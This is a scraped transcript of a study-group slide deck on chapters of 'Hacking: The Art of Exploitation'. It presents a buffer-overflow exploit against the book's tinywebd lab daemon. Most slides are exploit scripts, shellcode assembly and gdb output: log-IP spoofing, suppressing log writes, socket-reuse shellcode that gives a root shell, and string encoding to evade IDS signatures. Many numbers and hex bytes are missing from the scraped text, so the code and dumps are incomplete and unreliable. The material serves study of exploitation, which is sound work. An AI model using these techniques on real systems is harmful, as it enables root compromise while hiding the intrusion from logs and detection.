From :36060 "GET /image.jpg HTTP/1.1" 200 OK 12/11/ :43:41> From :36061 "GET /favicon.ico HTTP/1.1" 404 Not Found $ 3">

Presentation is loading. Please wait.

Presentation is loading. Please wait.

Hacking: The Art of Exploitation 0x660 - 0x680 2014.12.11 Presenter: Jaesang Oh 1.

Similar presentations


Presentation on theme: "Hacking: The Art of Exploitation 0x660 - 0x680 2014.12.11 Presenter: Jaesang Oh 1."— Presentation transcript:

1 Hacking: The Art of Exploitation 0x x Presenter: Jaesang Oh 1

2 Contents 0x660: Advanced Camouflage 0x670: The Whole Infrastructure 0x680: Payload Smuggling 2

3 0x660: Advanced Camouflage In previous topic, we discuss how to hide exploit attempt written in a log file Example: Blend in with the Crowd But IP address of attacker still written in a log file $ sudo cat tinywebd.log 12/11/ :43:27> Starting up.. 12/11/ :43:41> From :36059 "GET / HTTP/1.1" 200 OK 12/11/ :43:41> From :36060 "GET /image.jpg HTTP/1.1" 200 OK 12/11/ :43:41> From :36061 "GET /favicon.ico HTTP/1.1" 404 Not Found $ 3

4 How to know the IP address In tinywebd.c, void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length; length = recv_line(sockfd, request); sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr ->sin_port), request); Sockaddr_in struct contains the IP address and port number Spoof IP address by overwriting client_addr_ptr 4

5 Value of client_addr_ptr Executing addr_struct.c, int main(int argc, char *argv[]) { struct sockaddr_in addr; if(argc != 3) { printf("Usage: %s \n", argv[0]); exit(0); } addr.sin_family = AF_INET; addr.sin_port = htons(atoi(argv[2])); addr.sin_addr.s_addr = inet_addr(argv[1]); write(1, &addr, sizeof(struct sockaddr_in)); printf ("\n\nSizeof sockaddr_in: %d\n\n", sizeof(struct sockaddr_in)); } We can get $./addr_struct # � "8N � o Sizeof sockaddr_in: 16 $./addr_struct | hexdump -C c e f4 6f fd b7 |..#.."8N.....o..| a 0a a 65 6f f 63 6b |..Sizeof sockadd| f 69 6e 3a a 0a |r_in: 16..| a $ 5

6 Exploit Code request buffer location == 0xbffff520 RET location == 0xbffff73c Offset == 540 bytes (gdb) x/x request 0xbffff520: 0x (gdb) x/16x request xbffff714: 0xb7fd6ff4 0xb8000ce0 0x xbffff7a8 0xbffff724: 0xb7ff9300 0xb7fd6ff4 0xbffff7a8 0xb7fd6ff4 0xbffff734: 0xb7fd6ff4 0xbffff7a8 0x08048fb7 0x xbffff744: 0xbffff770 0x xbffff798 0x (gdb) x/x 0xbffff xbffff73c: 0x08048fb7 (gdb) p 0xbffff73c - 0xbffff520 $1 = 540 (gdb) Exploit [ Fake Request ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] == 544 bytes 6

7 Exploit code (xtool_tinywebd_spoof.sh) [ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] [ *client_addr_ptr ] == 552 bytes #!/bin/sh # IP spoofing stealth exploitation tool for tinywebd SPOOFIP=" " SPOOFPORT="9090“ …… RETADDR="\x84\xf5\xff\xbf" # at +100 bytes from 0xbffff5c0 – I have to modify hex value FAKEADDR="\x2f\xf5\xff\xbf" # +15 bytes from 0xbffff5c0 – I have to modify hex value …… ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16)) (perl -e "print \"$FAKEREQUEST\"";./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32. \"$FAKEADDR\"x2. \"\r\n\"") | nc -w 1 -v $2 80 7

8 Execution Result Failed (In my Lab Computer) (gdb) x/x request 0xbffff580: 0x (gdb) cont Continuing. Breakpoint 1, handle_connection (sockfd=7, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 86 length = recv_line(sockfd, request); (gdb) cont Continuing. Breakpoint 1, handle_connection (sockfd=8, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 86 length = recv_line(sockfd, request); (gdb) bt #0 handle_connection (sockfd=8, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 #1 0x08048fb7 in main () at tinywebd.c:72 (gdb) print *client_addr_ptr $1 = {sin_family = 2, sin_port = 60134, sin_addr = {s_addr = }, sin_zero = "\000\000\000\000\000\000\000"} (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x08048fe1 in handle_connection (sockfd= , client_addr_ptr=0xf5e4bfff, logfd= ) at tinywebd.c:88 88 sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request); (gdb) 8

9 Execution Result Success (In my Macbook) Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 86 length = recv_line(sockfd, request); (gdb) b 89 Breakpoint 2 at 0x : file tinywebd.c, line 89. (gdb) print *client_addr_ptr $2 = {sin_family = 2, sin_port = 33438, sin_addr = {s_addr = }, sin_zero = "\000\000\000\000\000\000\000"} (gdb) cont Continuing. Breakpoint 2, handle_connection (sockfd= , client_addr_ptr=0xbffff58f, logfd=2560) at tinywebd.c:90 90 ptr = strstr(request, " HTTP/"); // search for valid looking request (gdb) print *client_addr_ptr $3 = {sin_family = 2, sin_port = 33315, sin_addr = {s_addr = }, sin_zero = "\000\000\000\000 � o (gdb) x/s log_buffer 0xbffff180: "From :9090 \"GET / HTTP/1.1\"\t“ I don’t know why it happens :( 9

10 Do not write Log In handle_connection function, void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length; … write(logfd, log_buffer, length); // write to the log In previous slide, Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 If logfd is not 3, it fails to write log $ sudo strace -p e trace=write Process 5200 attached - interrupt to quit write(2560, "12/11/ :24:49> ", 21) = -1 EBADF (Bad file descriptor) write(2560, "From :9090 \"GET / HTT"..., 47) = -1 EBADF (Bad file descriptor) write(3, "12/11/ :34:41> ", 21) = 21 write(3, "From :57891 \"GET / HTTP"..., 46) = 46 10

11 Exploit Code If we change the value of logfd, log will be w [ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] [ *client_addr_ptr ] [File Descriptor] == 553 bytes …… (perl -e "print \"$FAKEREQUEST\"";./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32. \"$FAKEADDR\"x2. \"\x01\x00\x00\x00\r\n\"") | nc -w 1 -v $2 80 File Descriptor value “1” Daemon does not print the result to Standard output(fd == 1) ( redirect output to /dev/null ) 11

12 Execution Result (In my Mac) $ ls -l /Hacked -rw root root :59 /Hacked $ sudo rm /Hacked Password: $ ps aux | grep tinywebd root ? Ss 10:58 0:00./tinywebd jaesang pts/0 R+ 11:41 0:00 grep tinywebd $ ls -l /var/log/tinywebd.log -rw root root :34 /var/log/tinywebd.log $./xtool_tinywebd_silent.sh mark_restore target IP: shellcode: mark_restore (53 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128] [*fake_addr 8] localhost [ ] 80 (www) open $ ls -l /var/log/tinywebd.log -rw root root :34 /var/log/tinywebd.log $ ls -l /Hacked -rw root root :42 /Hacked $ Shellcode executed without writing log 12

13 0x670: The Whole Infrastructure IDS and IPS detect exploit attempt by several ways Analyze abnormal log Check connection with other port, such as We can use same socket since we already open socket from the web request 13

14 Socket Reuse However, we corrupt socket descriptor when overflowing request buffer In previous Execution result, Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 Breakpoint 2, handle_connection (sockfd= , client_addr_ptr=0xbffff58f, logfd=2560) at tinywebd.c:90 Since sockfd is passed-by-value to handle_connection(), original value of sockfd is remain in main() 14

15 Socket Reuse – tinywebd.c In main() int new_sockfd, yes=1; …… while(1) { // Accept loop sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1) fatal("accepting connection"); handle_connection(new_sockfd, &client_addr, logfd); } return 0; } void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length; 15

16 Calculating the address of new_sockfd Distance(Offset) from ESP Breakpoint 1, handle_connection (sockfd=16, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 86 length = recv_line(sockfd, request); (gdb) x/x &sockfd 0xbffff7a0: 0x (gdb) x/x &new_sockfd No symbol "new_sockfd" in current context. (gdb) bt #0 handle_connection (sockfd=16, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 #1 0x08048fb7 in main () at tinywebd.c:72 (gdb) select-frame 1 (gdb) x/x &new_sockfd 0xbffff7fc: 0x (gdb) i r esp esp 0xbffff7a0 0xbffff7a0 (gdb) p /x 0xbffff7fc - 0xbffff7a0 $1 = 0x5c (gdb) 0x5c is the distance of new_sockfd from ESP 16

17 Loopback shell improved (0x650) socket_reuse_restore.s …… child_process: ; re-use existing socket lea edx, [esp+0x5c] ; put the address of new_sockfd in edx mov ebx, [edx] ; put the value of new_sockfd in ebx push BYTE 0x02 pop ecx ; ecx starts at 2 xor eax, eax xor edx, edx dup_loop: mov BYTE al, 0x3F ; dup2 syscall #63 int 0x80 ; dup2(c, 0) dec ecx ; count down to 0 jns dup_loop ; if the sign flag is not set, ecx is not negative …… Copy used socket descriptor (new_sockfd) to fd 0, 1, and 2 17

18 Execve in Socket_reuse_restore.s 18 Socket_reuse_restore.s cont ; execve(const char *filename, char *const argv [], char *const envp[]) mov BYTE al, 11 ; execve syscall #11 push edx ; push some nulls for string termination push 0x68732f2f ; push "//sh" to the stack push 0x6e69622f ; push "/bin" to the stack mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp push edx ; push 32-bit null terminator to stack mov edx, esp ; this is an empty array for envp push ebx ; push string addr to stack above null terminator mov ecx, esp ; this is the argv array with string ptr int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL]) For compare result in next topic

19 Exploit code (xtool_tinywebd_reuse.sh) [ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] [ *client_addr_ptr ] [File Descriptor] [ cat command ] …… (perl -e "print \"$FAKEREQUEST\"";./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32. \"$FAKEADDR\"x2. \"\x01\x00\x00\x00\r\n\""; cat -;) | nc -v $

20 Execution Result (In my Mac) $./xtool_tinywebd_reuse.sh socket_reuse_restore target IP: shellcode: socket_reuse_restore (62 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128] [*fake_addr 8] localhost [ ] 80 (www) open whoami root pwd /home/jaesang/booksrc By using existing socket and netcat, we can use command as root privilege 20

21 0x680: Payload Smuggling IDS or IPS can also analyze the packet itself For example, they can find shell code which contains the substring /bin or //sh (to make /bin/sh) socket_reuse_restore.s file $ hexdump -C socket_reuse_restore a cd c0 74 0a 8d 6c b7 8f |j.X....t..l$hh..| c3 8d c 8b 1a 6a c0 31 d2 |....T$\..j.Y1.1.| b0 3f cd f9 b0 0b f 2f |.?..Iy...Rh//shh| f e 89 e e e1 cd 80 |/bin..R..S....| e We can bypass it by hiding this string 21

22 String Encoding Strategy: Simply add 5 to each byte in the string in hiding phase, and subtract 5 in the shell code $ echo "/bin/sh" | hexdump -C f e 2f a |/bin/sh.| <- 0a should be modified to 00 to indicate string $ gdb -q (gdb) print /x 0x0a68732f + 0x $1 = 0xf6d7834 <- should be modified to 0x56d7834 (gdb) print /x 0x6e69622f + 0x $2 = 0x736e6734 (gdb) 22

23 String Encoding In Shellcode Other things are similar to previous shellcode. But this shellcode does not contain /bin or //sh itself encoded_socketreuserestore.s ; execve(const char *filename, char *const argv [], char *const envp[]) mov BYTE al, 11 ; execve syscall #11 push 0x056d7834 ; push "/sh\x00" encoded +5 to the stack push 0x736e6734 ; push "/bin" encoded +5 to the stack mov ebx, esp ; put the address of encoded "/bin/sh" into ebx …… push BYTE 0x8 ; need to decode 8 bytes pop edx decode_loop: sub BYTE [ebx+edx], 0x5 dec edx jns decode_loop 23

24 Execution Result (In my Mac) $ hexdump -C encoded_sockreuserestore a cd c0 74 0a 8d 6c b7 8f |j.X....t..l$hh..| c3 8d c 8b 1a 6a c0 b0 3f |....T$\..j.Y1..?| cd f9 b0 0b d e |..Iy...h4xm.h4gn| e3 6a 08 5a 80 2c a 79 f9 31 d2 52 |s..j.Z.,..Jy.1.R| e e1 cd 80 |..S....| $./xtool_tinywebd_reuse.sh encoded_sockreuserestore target IP: shellcode: encoded_sockreuserestore (71 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake_addr 8] localhost [ ] 80 (www) open whoami root We can use shell without “/bin/sh” inside the shellcode 24

25 25 …?


Download ppt "Hacking: The Art of Exploitation 0x660 - 0x680 2014.12.11 Presenter: Jaesang Oh 1."

Similar presentations


Ads by Google